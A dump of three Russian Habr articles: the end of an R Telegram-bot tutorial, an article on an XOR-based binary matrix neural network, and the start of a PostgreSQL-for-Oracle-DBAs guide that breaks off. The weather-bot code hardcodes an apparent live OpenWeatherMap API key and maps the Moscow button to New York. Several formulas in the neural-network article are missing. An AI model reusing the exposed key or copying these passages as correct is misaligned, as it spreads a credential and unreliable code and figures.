# получаем имя пользователя, нажавшего кнопку
uname <- update$effective_user()$first_name
msg <- paste0(uname, ", поздравляю, ваш текст на covid-19 отрицательный.")
# Отправка сообщения
bot$sendMessage(chat_id = update$from_chat_id(),
text = msg)
# сообщаем боту, что запрос с кнопки принят
bot$answerCallbackQuery(callback_query_id = update$callback_query$id)
}
# создаём обработчики
inline_h <- CommandHandler('test', test)
query_handler_yes <- CallbackQueryHandler(answer_cb_yes, pattern = 'yes')
query_handler_no <- CallbackQueryHandler(answer_cb_no, pattern = 'no')
# добавляем обработчики в диспетчер
updater <- updater +
inline_h +
query_handler_yes +
query_handler_no
# запускаем бота
updater$start_polling()
```
> Запустите приведённый выше пример кода, предварительно заменив 'ТОКЕН ВАШЕГО БОТА' на реальный токен, который вы получили при создании бота через *BotFather* (о создании бота я рассказывал в [первой статье](https://habr.com/ru/post/511222/#sozdanie-telegram-bota)).
Теперь мы написали 2 отдельных метода, т.е. по одному методу, под нажатие каждой кнопки, и использовали аргумент `pattern`, при создании их обработчиков:
```
query_handler_yes <- CallbackQueryHandler(answer_cb_yes, pattern = 'yes')
query_handler_no <- CallbackQueryHandler(answer_cb_no, pattern = 'no')
```
Заканчивается код метода *answer\_cb* командой `bot$answerCallbackQuery(callback_query_id = update$callback_query$id)`, которая сообщает боту, что данные с inline клавиатуры получены.
### Пример бота, который сообщает текущую погоду по выбранному городу
Давайте попробуем написать бота, который запрашивает данные о погоде.
Логика его работы будет следующая. Изначально командой `/start` вы вызываете основную клавиатуру, в которой присутствует всего одна кнопка "Погода". Нажав на эту кнопку вы получаете сообщение с Inline клавиатурой, для выбора города, по которому требуется узнать текущую погоду. Выбираете один из городов, и получаете текущую погоду.
В этом примере кода мы будем использовать несколько дополнительных пакетов:
* `httr` — пакет для работы с HTTP запросами, на основе которых построена работа с любым API. В нашем случае мы будем использовать бесплатный API [openweathermap.org](https://openweathermap.org/api).
* `stringr` — пакет для работы с текстом, в нашем случае мы будем его использовать для формирования сообщения о погоде в выбранном городе.
**Код 4: Бот, который сообщает текущую погоду по выбранному городу**
```
library(telegram.bot)
library(httr)
library(stringr)
# создаём экземпляр класса Updater
updater <- Updater('ТОКЕН ВАШЕГО БОТА')
# создаём методы
## метод для запуска основной клавиатуры
start <- function(bot, update) {
# создаём клавиатуру
RKM <- ReplyKeyboardMarkup(
keyboard = list(
list(
KeyboardButton("Погода")
)
),
resize_keyboard = TRUE,
one_time_keyboard = TRUE
)
# отправляем клавиатуру
bot$sendMessage(update$message$chat_id,
text = 'Выберите команду',
reply_markup = RKM)
}
## Метод вызова Inine клавиатуры
weather <- function(bot, update) {
IKM <- InlineKeyboardMarkup(
inline_keyboard = list(
list(
InlineKeyboardButton(text = 'Москва', callback_data = 'New York,us'),
InlineKeyboardButton(text = 'Санкт-Петербург', callback_data = 'Saint Petersburg'),
InlineKeyboardButton(text = 'Нью-Йорк', callback_data = 'New York')
),
list(
InlineKeyboardButton(text = 'Екатеринбург', callback_data = 'Yekaterinburg,ru'),
InlineKeyboardButton(text = 'Берлин', callback_data = 'Berlin,de'),
InlineKeyboardButton(text = 'Париж', callback_data = 'Paris,fr')
),
list(
InlineKeyboardButton(text = 'Рим', callback_data = 'Rome,it'),
InlineKeyboardButton(text = 'Одесса', callback_data = 'Odessa,ua'),
InlineKeyboardButton(text = 'Киев', callback_data = 'Kyiv,ua')
),
list(
InlineKeyboardButton(text = 'Токио', callback_data = 'Tokyo'),
InlineKeyboardButton(text = 'Амстердам', callback_data = 'Amsterdam,nl'),
InlineKeyboardButton(text = 'Вашингтон', callback_data = 'Washington,us')
)
)
)
# Send Inline Keyboard
bot$sendMessage(chat_id = update$message$chat_id,
text = "Выберите город",
reply_markup = IKM)
}
# метод для сообщения погоды
answer_cb <- function(bot, update) {
# получаем из сообщения город
city <- update$callback_query$data
# отправляем запрос
ans <- GET('https://api.openweathermap.org/data/2.5/weather',
query = list(q = city,
lang = 'ru',
units = 'metric',
appid = '4776568ccea136ffe4cda9f1969af340'))
# парсим ответ
result <- content(ans)
# формируем сообщение
msg <- str_glue("{result$name} погода:\n",
"Текущая температура: {result$main$temp}\n",
"Скорость ветра: {result$wind$speed}\n",
"Описание: {result$weather[[1]]$description}")
# отправляем информацию о погоде
bot$sendMessage(chat_id = update$from_chat_id(),
text = msg)
bot$answerCallbackQuery(callback_query_id = update$callback_query$id)
}
# создаём фильтры
## сообщения с текстом Погода
MessageFilters$weather <- BaseFilter(function(message) {
# проверяем текст сообщения
message$text == "Погода"
}
)
# создаём обработчики
h_start <- CommandHandler('start', start)
h_weather <- MessageHandler(weather, filters = MessageFilters$weather)
h_query_handler <- CallbackQueryHandler(answer_cb)
# добавляем обработчики в диспетчер
updater <- updater +
h_start +
h_weather +
h_query_handler
# запускаем бота
updater$start_polling()
```
> Запустите приведённый выше пример кода, предварительно заменив 'ТОКЕН ВАШЕГО БОТА' на реальный токен, который вы получили при создании бота через *BotFather* (о создании бота я рассказывал в [первой статье](https://habr.com/ru/post/511222/#sozdanie-telegram-bota)).
В результате наш бот будет работать примерно так:
Схематически данного бота можно изобрать вот так:
Мы создали 3 метода, доступные внутри нашего погодного бота:
* *start* — Запуск основной клавиатуры бота
* *weather* — Запуск Inline клавиатуры для выбора города
* *answer\_cb* — Основной метод, который по заданному городу запрашивает в API погоду, и отправляет её в чат.
Метод *start* у нас запускается командой `/start`, что реализовано обработчиком `CommandHandler('start', start)`.
Для запуска метода *weather* мы создали одноимённый фильтр:
```
# создаём фильтры
## сообщения с текстом Погода
MessageFilters$weather <- BaseFilter(function(message) {
# проверяем текст сообщения
message$text == "Погода"
}
)
```
И вызываем этот метод следующим обработчиком сообщений: `MessageHandler(weather, filters = MessageFilters$weather)`.
И в конце концов, основной наш метод *answer\_cb* реагирует на нажатие Inline кнопок, что реализовано специальным обработчиком: `CallbackQueryHandler(answer_cb)`.
Внутри метода *answer\_cb*, мы считываем отправленные с клавиатуры данные и записываем их в переменную `city`: `city <- update$callback_query$data`. После чего запрашиваем из API данные о погоде, формируем и отправляем сообщение, и в конце концов используем метод `answerCallbackQuery` для того, что бы сообщить боту, о том, что мы обработали нажатие Inline кнопки.
### Пример бота, который выводит список самых свежих статей со ссылками по-указанному Хабу из [habr.com](https://habr.com/).
Данного бота я привожу для того, что бы показать вам, как вывести Inline кнопки которые ведут на веб страницы.
Логика данного бота схожа с предыдущим, изначально мы запускаем основную клавиатуру командой `/start`. Далее бот даёт нам на выбор список из 6 хабов, мы выбираем интересующий нас хаб, и получаем 5 самых свежих публикаций из выбранного Хаба.
Как вы понимаете, в данном случае нам необходимо получить список статей, и для этого мы будем использовать специальный пакет `habR`, который позволяет запрашивать из хабры статьи и некоторую статистику по ним в R.
Установить пакет `habR` можно только из github, для чего вам понадобится дополнительный пакет `devtools`. Для установки воспользуйтесь приведённым ниже кодом.
```
install.packages('devtools')
devtools::install_github('selesnow/habR')
```
Теперь рассмотрим код построения описанного выше бота:
**Код 5: Бот который выводит список наиболее свежих статей по выбранному Хабу**
```
library(telegram.bot)
library(habR)
# создаём экземпляр класса Updater
updater <- Updater('ТОКЕН ВАШЕГО БОТА')
# создаём методы
## метод для запуска основной клавиатуры
start <- function(bot, update) {
# создаём клавиатуру
RKM <- ReplyKeyboardMarkup(
keyboard = list(
list(
KeyboardButton("Список статей")
)
),
resize_keyboard = TRUE,
one_time_keyboard = TRUE
)
# отправляем клавиатуру
bot$sendMessage(update$message$chat_id,
text = 'Выберите команду',
reply_markup = RKM)
}
## Метод вызова Inine клавиатуры
habs <- function(bot, update) {
IKM <- InlineKeyboardMarkup(
inline_keyboard = list(
list(
InlineKeyboardButton(text = 'R', callback_data = 'R'),
InlineKeyboardButton(text = 'Data Mining', callback_data = 'data_mining'),
InlineKeyboardButton(text = 'Data Engineering', callback_data = 'data_engineering')
),
list(
InlineKeyboardButton(text = 'Big Data', callback_data = 'bigdata'),
InlineKeyboardButton(text = 'Python', callback_data = 'python'),
InlineKeyboardButton(text = 'Визуализация данных', callback_data = 'data_visualization')
)
)
)
# Send Inline Keyboard
bot$sendMessage(chat_id = update$message$chat_id,
text = "Выберите Хаб",
reply_markup = IKM)
}
# метод для сообщения погоды
answer_cb <- function(bot, update) {
# получаем из сообщения город
hub <- update$callback_query$data
# сообщение о том, что данные по кнопке получены
bot$answerCallbackQuery(callback_query_id = update$callback_query$id,
text = 'Подождите несколько минут, запрос обрабатывается')
# сообщение о том, что надо подождать пока бот получит данные
mid <- bot$sendMessage(chat_id = update$from_chat_id(),
text = "Подождите несколько минут пока, я соберу данные по выбранному Хабу")
# парсим Хабр
posts <- head(habr_hub_posts(hub, 1), 5)
# удаляем сообщение о том, что надо подождать
bot$deleteMessage(update$from_chat_id(), mid$message_id)
# формируем список кнопок
keys <- lapply(1:5, function(x) list(InlineKeyboardButton(posts$title[x], url = posts$link[x])))
# формируем клавиатуру
IKM <- InlineKeyboardMarkup(
inline_keyboard = keys
)
# отправляем информацию о погоде
bot$sendMessage(chat_id = update$from_chat_id(),
text = paste0("5 наиболее свежих статей из Хаба ", hub),
reply_markup = IKM)
}
# создаём фильтры
## сообщения с текстом Погода
MessageFilters$hubs <- BaseFilter(function(message) {
# проверяем текст сообщения
message$text == "Список статей"
}
)
# создаём обработчики
h_start <- CommandHandler('start', start)
h_hubs <- MessageHandler(habs, filters = MessageFilters$hubs)
h_query_handler <- CallbackQueryHandler(answer_cb)
# добавляем обработчики в диспетчер
updater <- updater +
h_start +
h_hubs +
h_query_handler
# запускаем бота
updater$start_polling()
```
> Запустите приведённый выше пример кода, предварительно заменив 'ТОКЕН ВАШЕГО БОТА' на реальный токен, который вы получили при создании бота через *BotFather* (о создании бота я рассказывал в [первой статье](https://habr.com/ru/post/511222/#sozdanie-telegram-bota)).
В итоге мы получим вот такой результат:
Список доступных для выбора Хабов мы вбили хардкодом, в методе `habs`:
```
## Метод вызова Inine клавиатуры
habs <- function(bot, update) {
IKM <- InlineKeyboardMarkup(
inline_keyboard = list(
list(
InlineKeyboardButton(text = 'R', callback_data = 'r'),
InlineKeyboardButton(text = 'Data Mining', callback_data = 'data_mining'),
InlineKeyboardButton(text = 'Data Engineering', callback_data = 'data_engineering')
),
list(
InlineKeyboardButton(text = 'Big Data', callback_data = 'bigdata'),
InlineKeyboardButton(text = 'Python', callback_data = 'python'),
InlineKeyboardButton(text = 'Визуализация данных', callback_data = 'data_visualization')
)
)
)
# Send Inline Keyboard
bot$sendMessage(chat_id = update$message$chat_id,
text = "Выберите Хаб",
reply_markup = IKM)
}
```
Список статей из указанного Хаба мы получаем командой `habr_hub_posts()`, из пакета `habR`. При этом указываем, что нам не требуется список статей за всё время, а только первая страница на которой располагаются 20 статей. Из полученной таблицы с помощью команды `head()` оставляем только 5 самых верхних, которые и являются самыми свежими статьями.
```
# парсим Хабр
posts <- head(habr_hub_posts(hub, 1), 5)
```
Логика очень схожа с предыдущим ботом, но в данном случае Inline клавиатуру со списком статей мы генерируем динамически с помощью функции `lapply()`.
```
# формируем список кнопок
keys <- lapply(1:5, function(x) list(InlineKeyboardButton(posts$title[x], url = posts$link[x])))
# формируем клавиатуру
IKM <- InlineKeyboardMarkup(
inline_keyboard = keys
)
```
В текст кнопки мы подставляем название статьи `posts$title[x]`, а в аргумент `url` ссылку на статью: `url = posts$link[x]`.
Далее, создаём фильтр, обработчики и запускаем нашего бота.
Заключение
==========
Теперь написанные вами боты будут значительно удобней в работе, за счёт того, что управление ими будет осуществляться с клавиатуры, а не вводом команд. Как минимум при взаимодействии с ботом через смартфон клавиатура ощутимо упростит процесс его использования.
В [следующей статье](https://habr.com/ru/post/518470/) мы разберёмся как строить логический диалог с ботом, и работать с базами данных. | https://habr.com/ru/post/516908/ | null | ru | null |
# Бинарная матричная нейронная сеть
Искусственная нейронная сеть в виде матрицы, входами и выходами которой являются наборы битов, а нейроны реализуют функции двоичной логики нескольких переменных. Такая сеть значительно отличается от сетей перцептронного типа и может дать такие преимущества как конечное число вариантов полного перебора функций сети, а следовательно и конечное время обучения, сравнительная простота аппаратной реализации.
### Предпосылки создания бинарной матричной нейронной сети
Попытки создания искусственных нейронных сетей основываются на факте существования их естественных прототипов. Способ передачи и обработки информации в естественной нейронной сети определяется химико-биологическими свойствами живых клеток-нейронов. Однако, модель искусственной нейронной сети не обязана полностью копировать как функцию нейронов, так и структуру естественного мозга, так как реализует только функцию преобразования информационных входов в выходы. Поэтому реализация функции искусственной нейронной сети может значительно отличаться от ее естественного аналога. Попытка прямого копирования структуры естественного мозга неизбежно сталкивается со следующими проблемами, которые, при отсутствии их решения, могут оказаться непреодолимыми. Как известно, в мозге млекопитающих выход нейрона может быть подключен к входам нескольких других нейронов.
Как узнать входы каких нейронов должны быть связаны с выходами других нейронов? Сколько нейронов должно быть связано с каждым конкретным нейроном в сети для того чтобы сеть выполняла свою функцию?
Ответов на эти вопросы пока нет, а подключение нейронов друг к другу методом перебора гарантирует практически бесконечное время обучения такой сети, учитывая что количество нейронов реального мозга исчисляется миллиардами.
В искусственных нейронных сетях перцептронного типа все нейроны соседних слоев связаны друг с другом. А “сила” связи определяется значением коэффициентов. Связь “все-со-всеми”, это решение проблемы связей нейронов методом “грубой силы”. В этом случае, нейронная сеть может содержать только сравнительно небольшое число нейронов на промежуточных слоях для приемлемого времени обучения, например, в течение нескольких недель [2].
Прежде чем нейронная сеть станет выдавать результат, например, классифицировать изображения, она должна пройти этап обучения, то есть этап настройки. На этапе обучения как раз и определяются конфигурация взаимодействия и общая функция нейронов сети. По сути, обучить нейронную сеть означает подобрать функцию преобразования таким образом, чтобы на заданных входах она давала правильные выходы с заданным уровнем ошибки. Затем, после обучения, мы даем на вход сети произвольные данные, и надеемся, что функция нейронной сети подобрана достаточно точно и сеть станет правильно, с нашей точки зрения, классифицировать любые другие входные данные. В популярных сетях перцептронного типа структура сети задается изначально фиксированной, см. например [2], а функция находится подбором коэффициентов связей нейронов промежуточных слоев. Прежде чем переходить к описанию матрицы, заметим, что одновременную связь всех нейронов соседних слоев можно разложить в последовательные связи пар нейронов пользуясь тем что функция нейрона это линейная комбинация выходов нейронов предыдущего слоя и коэффициентов связи. То есть, по крайней мере, для сетей перцептронного типа, каждый нейрон можно представить как принимающий данные только от двух других нейронов.
Принцип разложения нескольких параллельных связей в последовательность пар или троек связей только соседних нейронов и лежит в основе матрицы описываемой ниже. Принимается ограничение, что вовсе не обязательно обучать сеть подключая к нейрону все остальные, достаточно ограничиться только соседними нейронами, а затем последовательно уменьшать ошибку функции обучения сети. Данная версия нейронной сети основывается на предыдущей работе автора [1].
### Структура матрицы и нейрона
Следующая матричная структура нейронной сети позволяет решить проблему подключения нейронов и ограничить число комбинаций при поиске функции нейронной сети. Эта сеть также в теории позволяет найти функцию нейронной сети с нулевой ошибкой на обучающих наборах входов/выходов за счет того, что функция сети является дискретной векторной функцией нескольких переменных.
На рис.1 представлен пример бинарной матрицы. Входы и выходы этой матрицы — двоичные четырех-компонентные векторы. Входы подаются снизу, сверху получаем выходные значения. Каждая клетка матрицы это нейрон с двоичной функцией нескольких переменных **f**. Каждый нейрон имеет горизонтальную и вертикальную перегородки, отделяющие его от соседних нейронов и определяющие перетоки данных. Вертикальная перегородка нейрона, изображена слева от каждого нейрона, может иметь три положения: закрыто (темная полоса), открыта вправо (зеленая стрелка вправо), открыта влево (желтая стрелка влево).
Горизонтальная перегородка, изображена снизу от нейрона, может иметь два положения: закрыто «стоп» (темная полоса) или открыто вверх (зеленая стрелка). Таким образом, переток данных в матрице может быть снизу вверх и влево/вправо. Для того чтобы избежать выделения граничных разрядов данных первый и последний нейроны в каждом ряду логически зациклены, то есть, например, стрелка влево первого нейрона в ряду является входом последнего нейрона в этом же ряду, как показано на рис.1 для нейронов второго ряда.
**Рис. 1. Пример бинарной матрицы из 3-х строк и 4-х двоичных входов/выходов.**
Структура матрицы подчиняется правилам поэтапного построчного построения. Если данный набор строк нейронов не решает задачу, то к ним добавляются следующие, и так пока целевая функция не будет достигнута.
Перед обучением матрица состоит из одной первой строки. Обучение матрицы заключается в последовательном добавлении строк. Новые строки добавляются после нахождения одной или нескольких конфигураций перегородок на текущей строке, а также внутренних параметров нейронов, при которых значение ошибки на обучающих наборах матрицы минимально и меньше чем значение ошибки обучения на предыдущей строке.
Нейроны выполняют функцию преобразования данных, передачу или остановку сигнала. Функция нейрона **f**, в зависимости от текущей конфигурации перегородок и внутренних констант, должна удовлетворять следующим обязательным требованиям:
1. иметь возможность передачи данных без изменений;
2. уметь передавать константу (0 или 1) без входных данных;
3. не должна зависеть от последовательности применения входных данных от соседних нейронов, то есть нейрон выдает результирующее значение от всех своих входов поступивших как бы одновременно.
Один из вариантов такой функции **f** это сложение по модулю 2 или исключающее ИЛИ или XOR, как она часто обозначается в языках программирования.
Передача без изменения означает фактическое отсутствие нейрона и нужна только с точки зрения пропускания уровня матрицы без изменения данных.
Кроме обработки и передачи сигнала нейроны также имеют функцию памяти и ее использования или неиспользования в зависимости от функции реализуемой нейроном.
В зависимости от положения (значений) перегородок нейрона и его соседних нейронов, каждый нейрон может иметь от нуля до трех входов (снизу, справа и слева) и всегда один выход (вверх), который, однако, может быть не подключен к нейрону следующей строки, из за положения горизонтальной перегородки верхнего нейрона “стоп”.
**Рис. 2. Нейрон с бинарной функцией **f**, ячейкой памяти Memo и полем Res.**
Каждый нейрон выполняет одну и ту же двоичную функцию **f**, которая отличается только количеством входных значений в зависимости от конфигурации перегородок нейрона, которые разрешают входные данные от нейрона предыдущей строки и двух боковых соседних нейронов, а также от бинарной внутренней константы Memo.
Нейрон получает данные на вход, выполняет двоичную функцию нейрона **f** на основе входов и поля Memo и помещает результат в поле Res. Варианты использования поля Memo могут быть различны. Если выход всей матрицы зависит только от входов сети, то поле Memo является частью конфигурации сети вместе со значениями перегородок нейронов. Если же сеть должна обучаться также и на основе предыдущих значений, то есть обладать памятью, например, для задач реализации искусственной жизни, то поле Memo может принимать вновь вычисленное значение Res как показано на рис. 2 пунктирной стрелкой.
Допустим что функция нейрона **f** это бинарная операция XOR применяемая последовательно ко всем входным параметрам. Проверим, что она отвечает трем необходимым требованиям.
1. Передача данных без изменений обеспечивается вариантом, изображенным на Рис. 3. Здесь Memo = 0, Горизонтальная нижняя перегородка в значении “вверх”, Левая и правая перегородки в значении “стоп”.
**Рис. 3. Вариант параметров нейрона, реализующий передачу входа с предыдущей строки без изменения в случае f = XOR.**
2. Передача константы обеспечивается значениями горизонтальной и вертикальных перегородок “стоп”, а значение Memo — это значение передаваемой константы.
**Рис. 4. Нейрон с функцией, передающей независимую бинарную константу Memo. Входные значения снизу, слева и справа не используются.**
3. Требование независимости значения функции нейрона от последовательности обработки входных значений нейрона обеспечивается ассоциативностью XOR.
### Число комбинаций полного перебора функций строки
Последовательное, построчное построение функции матрицы позволяет эффективно оптимизировать процесс обучения за счет замены полного перебора комбинаций бинарных функций всех нейронов матрицы полным перебором комбинаций функций нейронов строк. Одним из ключевых моментов в обучении сети является количество комбинаций полного перебора функций нейронов одной строки.
Для варианта нейрона описанного выше в переборе функций нейрона участвуют:
1. горизонтальная перегородка с двумя положениями: стоп и вверх;
2. вертикальная перегородка нейрона с тремя положениями: стоп, влево и вправо;
3. двоичное поле Memo со значениями 0 и 1.
Чтобы подсчитать число вариантов функций нейрона на основе комбинаций этих параметров перемножаем количество вариантов значений для каждого из этих параметров:
. Таким образом, каждый нейрон, в зависимости от количества пришедших на вход параметров, может иметь один из 12 вариантов двоичной функции. Подсчитаем число вариантов полного перебора функций одной строки матрицы из 8 нейронов, которая, таким образом, может обрабатывать данные размером 1 байт: .
Для современного персонального компьютера это не очень большое число вычислений. При выборе функции нейрона c меньшим числом вариантов, например, без поля Memo, число комбинаций значительно уменьшается до . Даже такая значительно упрощенная версия функции нейрона демонстрирует уменьшение ошибки обучения в процессе оптимизации. В программных тестах с разными вариантами нейронных функций на языке C# автору удавалось получить скорость перебора в диапазоне 200-600 тысяч вариантов в секунду, что дает полный перебор вариантов функций строки матрицы примерно за 3 секунды. Однако, это не означает, что например, матрица размером 8x8 будет обучена в течении 24 секунд. Дело в том, что возможно несколько вариантов функции строки дающих одно и то же текущее минимальное значение ошибки обучения (метрики). Какая из этих, десятков, сотен или тысяч комбинаций приведет в итоге к нулевой ошибке обучения всей матрицы мы не знаем, и тогда в наихудшем случае нужно будет проверить каждую из них, что приводит к построению дерева оптимизационного поиска.
Естественным образом возникает вопрос, а какая двоичная функция нейрона **f** является наилучшей для обучения матрицы. Очевидно, что идеальной будет функция обладающая свойством функциональной полноты [3] для строки матрицы в заданном наборе параметров перегородок и поля Memo. В этом случае мы будем иметь большую, если не полную, гарантию нахождения матрицы с нулевой ошибкой обучения. Однако, вопрос нахождения такой функции нейрона еще требует изучения.
### Построение дерева оптимизации или поиска нуля ошибки обучения матрицы
Функцию ошибки обучения матрицы будем называть метрикой. Значение метрики показывает степень отклонения выхода матрицы от ожидаемого на обучающих данных.
Пример метрики. Предположим что входы и выходы матрицы это 4-х битные числа. И мы хотим обучить матрицу умножать входные числа на . Допустим, что для обучения используется три входных значения , идеальный выход для которых будут числа .
Тогда входы обучения для матрицы будут четырех-битовые значения: , а выходы, соответственно , по одному биту на нейрон входной и выходной строк, соответственно.
Процесс обучения матрицы состоит в последовательном переборе положений перегородок нейронов и значений полей Memo в нейронах строки, которые вместе выполняют роль параметров поиска. После каждого изменения одного из этих параметров, то есть, например, смены положения горизонтальной перегородки одного из нейронов из положения «стоп» на положение «вверх» или смены значения поля Memo c 1 на 0, получаем текущую комбинацию перегородок и полей и вычисляем значение метрики.
Чтобы получить значение метрики на некоторой комбинации перегородок и полей Memo подставляем значения обучающих входов в матрицу и получаем выходы.
Например, на некоторой комбинации перегородок и полей мы получили выходные значения матрицы . Переводим их в десятичный вид .
Получаем значение метрики для текущих выходов матрицы:
В данном случае ошибка обучения равна 5 и задача найти такую конфигурацию нейронов на текущей верхней строке матрицы, для которой значение метрики меньше .
Рассмотрим один из вариантов поиска нуля метрики, при котором каждая новая строка матрицы добавляется к предыдущим строкам с конфигурацией перегородок и полей Memo, дающей минимальное значение метрики на обучающих данных.
Общий алгоритм построения дерева оптимизации матрицы.
```
1. Задаем начальное положительное значение метрики, например max(Int32). Создаем матрицу, изначально состоящую из одной строки с начальными значениями перегородок "стоп" и нулевыми константами Memo.
2. Цикл: для каждой конфигурации перегородок и констант нейронов первой строки вычисляем значение метрики по всему обучающему набору данных.
a. Если значение метрики меньше ее текущего минимального значения, то запоминаем новое минимальное значение, а матрицу заносим в список поиска как точку ветвления, предварительно очистив этот список.
b. Если значение метрики равно текущему, то заносим текущую конфигурацию матрицы в список поиска как точку ветвления.
c. Если значение метрики больше текущего минимального, то матрица отбрасывается, берем следующую комбинацию и идем на начало цикла.
d. Если значение метрики равно нулю, то поиск закончен и найден один (из нескольких возможных) вариант обученной матрицы.
3. После перебора всех комбинаций функций на первой строке берем последовательно матрицы из списка поиска на первой строке, добавляем к ним строку и для каждой из этих матриц применяем алгоритм поиска.
```
Детали этого алгоритма могут быть различны, как в плане экономии памяти, так и ускорения скорости работы, например, сортировкой списков за счет особенностей конфигураций перегородок нейронов матриц или отбрасывания предыдущих списков ветвлений в соответствии с уменьшением текущего значения метрики.
### Заключение
Практические эксперименты показывают что алгоритм обучения матрицы в большинстве случаев сходится. Например, в одном из тестов с функцией нейрона XOR, матрица шириной 8 битов научилась умножать на 2 числа от 1 до 6 с нулевой ошибкой обучения. Подставив на вход 7, на выходе получил 14, значит матрица научилась экстраполировать на один ход вперед, но уже на числе 8 матрица дала неправильный результат. Все обучение заняло несколько минут на домашнем персональном компьютере. Однако эксперименты с более сложными обучающими выборками требуют иных вычислительных мощностей.
Кроме передачи данных снизу вверх, можно также рассмотреть и обратные потоки, когда некоторые нейроны в текущей конфигурации матрицы передают результаты на предыдущие строки. С одной стороны, такие конфигурации могут давать необычные функции матрицы, включая циркулирующие данные, но, с другой стороны, увеличивают время обучения матрицы, так как добавляют еще один параметр конфигурации при переборе вариантов решения.
От плоских нейронов можно перейти к трехмерным, т.е. рассматривать их не как квадратные элементы, а как кубики, каждая грань которых получает или передает данные, и тогда (пока теоретически) можно получить вполне осязаемый трехмерный искусственный мозг.
#### Ссылки
1. [A.V. Kazantsev, VISUAL DATA PROCESSING AND ACTION CONTROL USING BINARY NEURAL NETWORK — IEEE Eighth International Workshop (WIAMIS '07) Image Analysis for Multimedia Interactive Services, 2007.](http://ieeexplore.ieee.org/document/4279131/)
2. [Наталья Ефремова, Нейронные сети: практическое применение (habrahabr.ru)](https://habrahabr.ru/post/322392/)
3. [Функциональная полнота булевых функций (Wikipedia)](https://ru.wikipedia.org/wiki/%D0%A4%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D0%BE%D0%BD%D0%B0%D0%BB%D1%8C%D0%BD%D0%B0%D1%8F_%D0%BF%D0%BE%D0%BB%D0%BD%D0%BE%D1%82%D0%B0) | https://habr.com/ru/post/343304/ | null | ru | null |
# Основы Postgres для администраторов баз данных Oracle
«А кто отвечает за эту базу данных?»
Народ из команды администраторов баз данных пожал плечами, и кто-то спросил: «А сервер Oracle или SQL?»
«По-моему, это My SQL», — сказал руководитель отдела разработки.
За 20 лет работы администратором баз данных зачастую именно в таких ситуациях передо мной возникала необходимость изучения новых RDBMS (система управления реляционными базами данных). В результате я не понаслышке знаю, с какими сложностями вы можете столкнуться, когда приходится с головой погружаться в омут другой системы.
Новые базы данных добавляются в производственную среду самыми разными способами. Например, приобретается новый программный продукт, и для его установки требуется (или создается) новая база данных. Разработчик создает его прототип для того или иного бизнесс-отдела. Когда начинается его использование, он быстро превращается в важную систему, и вместе с этим на администраторов сваливается новая база данных, которую нужно обслуживать и отлаживать в случае сбоя. А иногда компания решает, что им необходимо перейти на какую-нибудь популярную стандартную СУБД и отказаться от других. Данное решение может потребовать повышения квалификации (изучения новой системы) целой команды администраторов.
Также в один прекрасный день вы можете услышать: «Поздравляем! Теперь вы отвечаете за эту базу данных. Я знаю, что вы являетесь администратором баз данных Oracle, но PostgreSQL — это почти то же самое, поэтому вы с легкостью справитесь и с ней».
Да, они обе представляют из себя системы управления реляционными базами данных (RDBMS), и для взаимодействия с ними вы используете (в основном) старый добрый SQL. Но некоторые отличия, в которых вам нужно разбираться, все-таки имеются.
Начнем мы пожалуй с основ архитектуры: одна база данных на одной машине. Я расскажу о некоторых сходствах и различиях между Oracle и PostgreSQL, чтобы помочь вам быстро освоиться. В этой статье я также предлагаю обсудить архитектуру высокого уровня и некоторые ключевые аспекты, проверив которые, можно убедиться, что ваша новая база данных не содержит каких-либо явных проблем.
### Основные функции
В Oracle, служба состоит из нескольких фоновых процессов, сегментов памяти (называемых инстансами - instance) и файлов, содержащих конфигурации, транзакционные (или архивные) логи, данные и индексную информацию.
В PostgreSQL есть один процесс, называемый postgres, который управляет файлом базы данных, принимает подключения от клиентских приложений и выполняет действия от имени этих клиентов. В PostgreSQL также есть файлы данных и файлы архивных логов (называемые WAL-файлами).
В таблице ниже приведено сравнение некоторых функций этих двух систем управления базами данных:
| | | |
| --- | --- | --- |
| Oracle | PostgreSQL | Function |
| Tablespace | Tablespace | Часто используется в Oracle для балансировки нагрузки. Редко используется в PostgreSQL |
| User | Role | CREATE USER в PostgreSQL создает роль с правами входа в систему. |
| Role | Role | В Oracle только набор привилегий. В PostgreSQL см. предыдущую строку. |
| PL/SQL | PL/pgSQL | Процедурный язык |
| Export | pg\_dump/pg\_dumpall | Извлечение копии данных из базы данных |
| Import | pg\_restore | Восстановление данных в базе данных |
| License model | Open source model | Лицензирование |
| Oracle Enterprise Manager (OEM) | pgAdmin | Графическая утилита для администрирования |
| Oracle | An array of third parties | Провайдер тех. поддержки |
Как только вы разберетесь с основами PostgreSQL, следующее, что вам нужно будет освоить — это выполнение технического аудита (health check). Большинство администраторов баз данных сами вырабатывают ту или иную форму этой проверки. Обычно все начинается с изучения того, что легче предотвратить, чем потом исправлять. Если вы новичок в Postgres, вот краткое руководство, которое покажет вам на что следует сделать акцент:
### Резервное копирование
Существует несколько основных подходов к резервному копированию базы данных PostgreSQL. У каждого из них есть [сильные и слабые стороны](https://www.craigkerstiens.com/2017/09/03/postgres-backups-physical-vs-logical/), поэтому я кратко расскажу о них здесь и предоставлю ссылки, по которым вы можете получить дополнительную информацию, если у вас возникнет такая потребность.
#### Дамп SQL
Утилита pg\_dump создаст файл команд SQL, чтобы иметь возможность воссоздать базу данных в том же состоянии, в котором она была запущена. Подробнее об этом можно прочитать в [документации pg\_dump](https://access.crunchydata.com/documentation/postgresql14/latest/backup-dump.html).
#### Резервное копирование файловой системы
Если вы можете остановить свою базу данных, вы можете сделать копию всех файлов. Это часто нецелесообразно для систем с высокими требованиями к доступности, но может быть полезным способом гарантировать, что у вас будет заведомо исправный бэкап. При внесении значительных изменений в базу данных это часто является разумной дополнительной мерой для восстановления, в случае, если что-то пойдет не так. Дополнительную информацию о резервном копировании файловой системы в PostgreSQL можно найти в [разделе резервного копирования файловой системы](https://access.crunchydata.com/documentation/postgresql14/latest/backup-file.html) документации Crunchy Data.
#### Непрерывное архивирование
PostgreSQL полагается на логи для обеспечения согласованности при сбоях и для возможности восстановления согласованного состояния базы данных в случае сбоя системы. Эти логи называются логами упреждающей записи или WAL (write-ahead log). PostgreSQL может использовать WAL-файлы для восстановления любых изменений, внесенных в данные вашей базы данных. Подробнее о [непрерывном архивировании](https://access.crunchydata.com/documentation/postgresql14/latest/continuous-archiving.html) можно прочесть в документации Crunchy.
#### pgBackRest
